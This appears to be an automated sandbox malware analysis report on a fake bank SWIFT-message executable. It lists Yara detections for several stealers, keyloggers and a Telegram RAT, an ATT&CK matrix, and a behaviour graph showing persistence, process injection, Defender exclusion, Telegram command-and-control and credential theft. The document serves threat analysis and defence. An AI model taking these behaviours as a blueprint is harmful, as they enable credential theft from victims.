              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTR
              Yara detected PureLog Stealer
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Yara detected Snake Keylogger
              Source: Yara matchFile source: 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Yara detected Telegram RAT
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7396, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7820, type: MEMORYSTR
              Yara detected VIP Keylogger
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2957921883.000000000271C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7396, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7820, type: MEMORYSTR

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
              Windows Management Instrumentation              		1
              DLL Side-Loading              		1
              DLL Side-Loading              		11
              Disable or Modify Tools              		1
              OS Credential Dumping              		1
              System Time Discovery              		Remote Services11
              Archive Collected Data              		1
              Web Service              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts111
              Native API              		1
              Scheduled Task/Job              		112
              Process Injection              		11
              Deobfuscate/Decode Files or Information              		11
              Input Capture              		1
              File and Directory Discovery              		Remote Desktop Protocol1
              Data from Local System              		3
              Ingress Tool Transfer              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts3
              Command and Scripting Interpreter              		Logon Script (Windows)1
              Scheduled Task/Job              		14
              Obfuscated Files or Information              		Security Account Manager24
              System Information Discovery              		SMB/Windows Admin Shares1
              Screen Capture              		11
              Encrypted Channel              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts1
              Scheduled Task/Job              		Login HookLogin Hook22
              Software Packing              		NTDS141
              Security Software Discovery              		Distributed Component Object Model1
              Email Collection              		3
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              Timestomp              		LSA Secrets31
              Virtualization/Sandbox Evasion              		SSH11
              Input Capture              		14
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              DLL Side-Loading              		Cached Domain Credentials3
              Process Discovery              		VNC1
              Clipboard Data              		Multiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
              Masquerading              		DCSync1
              Application Window Discovery              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job31
              Virtualization/Sandbox Evasion              		Proc Filesystem1
              System Network Configuration Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt112
              Process Injection              		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1631329 Sample: Ziraat_Bankasi_Swift_Messaj... Startdate: 06/03/2025 Architecture: WINDOWS Score: 100 63 reallyfreegeoip.org 2->63 65 api.telegram.org 2->65 67 3 other IPs or domains 2->67 79 Suricata IDS alerts for network traffic 2->79 81 Found malware configuration 2->81 83 Malicious sample detected (through community Yara rule) 2->83 89 19 other signatures 2->89 9 Ziraat_Bankasi_Swift_Messaji.png.exe 7 2->9         started        13 BZTCUCKTKd.exe 2->13         started        signatures3 85 Tries to detect the country of the analysis system (by using the IP) 63->85 87 Uses the Telegram API (likely for C&C communication) 65->87 process4 file5 51 C:\Users\user\AppData\...\BZTCUCKTKd.exe, PE32 9->51 dropped 53 C:\Users\...\BZTCUCKTKd.exe:Zone.Identifier, ASCII 9->53 dropped 55 C:\Users\user\AppData\Local\...\tmp9D7B.tmp, XML 9->55 dropped 57 Ziraat_Bankasi_Swift_Messaji.png.exe.log, ASCII 9->57 dropped 91 Uses schtasks.exe or at.exe to add and modify task schedules 9->91 93 Adds a directory exclusion to Windows Defender 9->93 95 Injects a PE file into a foreign processes 9->95 15 Ziraat_Bankasi_Swift_Messaji.png.exe 3 9->15         started        18 powershell.exe 23 9->18         started        21 powershell.exe 23 9->21         started        23 schtasks.exe 1 9->23         started        97 Antivirus detection for dropped file 13->97 99 Multi AV Scanner detection for dropped file 13->99 25 BZTCUCKTKd.exe 13->25         started        27 schtasks.exe 13->27         started        signatures6 process7 file8 59 C:\Users\user\AppData\...59ative_snake01.exe, PE32 15->59 dropped 61 C:\Users\user\AppData\...61ative_New-Nova.exe, PE32 15->61 dropped 29 Native_snake01.exe 15->29         started        33 Native_New-Nova.exe 14 2 15->33         started        77 Loading BitLocker PowerShell Module 18->77 35 conhost.exe 18->35         started        37 WmiPrvSE.exe 18->37         started        39 conhost.exe 21->39         started        41 conhost.exe 23->41         started        43 Native_snake01.exe 25->43         started        45 Native_New-Nova.exe 25->45         started        47 conhost.exe 27->47         started        signatures9 process10 dnsIp11 69 checkip.dyndns.com 132.226.247.73, 49736, 49738, 49739 UTMEMUS United States 29->69 71 api.telegram.org 149.154.167.220, 443, 63653, 63655 TELEGRAMRU United Kingdom 29->71 75 2 other IPs or domains 29->75 101 Antivirus detection for dropped file 29->101 103 Multi AV Scanner detection for dropped file 29->103 105 Tries to steal Mail credentials (via file / registry access) 29->105 49 conhost.exe 41->49         started        73 104.21.16.1, 443, 63654 CLOUDFLARENETUS United States 43->73 107 Tries to harvest and steal browser information (history, passwords, etc) 43->107 signatures12 process13

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.